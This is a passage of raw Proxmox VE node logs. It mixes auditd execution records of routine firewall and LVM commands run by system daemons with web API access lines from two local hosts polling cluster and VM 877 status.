syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=595f940ae740 items=0 ppid=1156 pid=58299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965864770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965145894,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.894:64348): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f5350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965453045,"@rawstring":"node=pve type=EXECVE msg=audit(1781965453.045:65665): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964366106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.106:60718): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13fef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965863762,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965145880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.880:64347): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448034,"@rawstring":"node=pve type=EXECVE msg=audit(1781965448.034:65662): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964366084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.084:60717): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b820 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965863762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781965144971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965144.971:64346): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1d8f070 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448027,"@rawstring":"node=pve type=EXECVE msg=audit(1781965448.027:65659): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964366068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.068:60716): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc100d80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965862759,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965144945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965144.945:64345): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382890 a1=64f8d740a3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61818 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965446.029:65656): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964366059,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.059:60715): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130df0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965862759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965141.947:64344): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446023,"@rawstring":"node=pve type=EXECVE msg=audit(1781965446.023:65655): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964366050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.050:60714): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100d80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965861728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965141.939:64341): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446021,"@rawstring":"node=pve type=EXECVE msg=audit(1781965446.021:65654): argc=1 a0=\"date\""} {"@timestamp":1781964366038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.038:60713): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbba46a40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965860720,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965136.927:64338): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446014,"@rawstring":"node=pve type=EXECVE msg=audit(1781965446.014:65652): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964366024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.024:60712): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965860720,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965136.915:64335): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446007,"@rawstring":"node=pve type=EXECVE msg=audit(1781965446.007:65651): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964366009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.009:60711): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965860720,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965445998,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.998:65650): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964366001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.001:60710): arch=c000003e syscall=59 success=yes exit=0 a0=6445bc2270e0 a1=6445bc223e60 a2=6445bc205680 a3=5 items=2 ppid=58285 pid=58291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965859711,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965445989,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.989:65649): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.977:60709): arch=c000003e syscall=59 success=yes exit=0 a0=6445878dcac8 a1=7ffefdc561e0 a2=6445bc205680 a3=6445878c024e items=2 ppid=58285 pid=58287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965859711,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965445980,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.980:65648): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.977:60708): arch=c000003e syscall=59 success=yes exit=0 a0=7ffefdc561a0 a1=6445bc20c310 a2=6445bc205680 a3=5 items=2 ppid=58285 pid=58286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965857916,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965445973,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.973:65646): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964365969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.969:60706): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965857916,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965445967,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.967:65645): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964365959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.959:60705): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965857916,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965445961,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.961:65644): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964365951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.951:60704): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965856704,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781965445955,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.955:65643): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964365945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.945:60703): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae1130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965856704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781965445948,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.948:65642): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964365928,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.928:60702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0edb70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965856704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781965445943,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.943:65641): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964365913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.913:60701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965856704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965445933,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.933:65640): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964364368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.368:60700): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73d59f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965855294,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965445925,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.925:65639): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964364313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.313:60699): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05d0 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58276 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965855294,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965445920,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.920:65638): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964364070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.070:60698): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965853981,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781965445910,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.910:65637): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.045:60695): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965853981,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.909:65636): argc=1 a0=\"date\""} {"@timestamp":1781964359030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964359.030:60692): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965852773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965445904,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.904:65634): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964359017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964359.017:60689): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965852773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965445896,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.896:65633): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.850:60686): arch=c000003e syscall=59 success=yes exit=0 a0=622558f4aed0 a1=622558f47c50 a2=622558f29680 a3=5 items=2 ppid=58262 pid=58268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965852773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965445888,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.888:65632): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.834:60685): arch=c000003e syscall=59 success=yes exit=0 a0=6225230d6ac8 a1=7ffe6862f560 a2=622558f29680 a3=6225230ba24e items=2 ppid=58262 pid=58264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965851768,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965445882,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.882:65631): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964355833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.833:60684): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6862f520 a1=622558f30310 a2=622558f29680 a3=5 items=2 ppid=58262 pid=58263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965851768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965445870,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.870:65630): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964355825,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.825:60682): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965850782,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965445858,"@rawstring":"node=pve type=EXECVE msg=audit(1781965445.858:65629): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964355774,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.774:60681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965850782,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965444460,"@rawstring":"node=pve type=EXECVE msg=audit(1781965444.460:65628): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964355749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.749:60680): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965848747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965444432,"@rawstring":"node=pve type=EXECVE msg=audit(1781965444.432:65627): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964355733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.733:60679): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58259 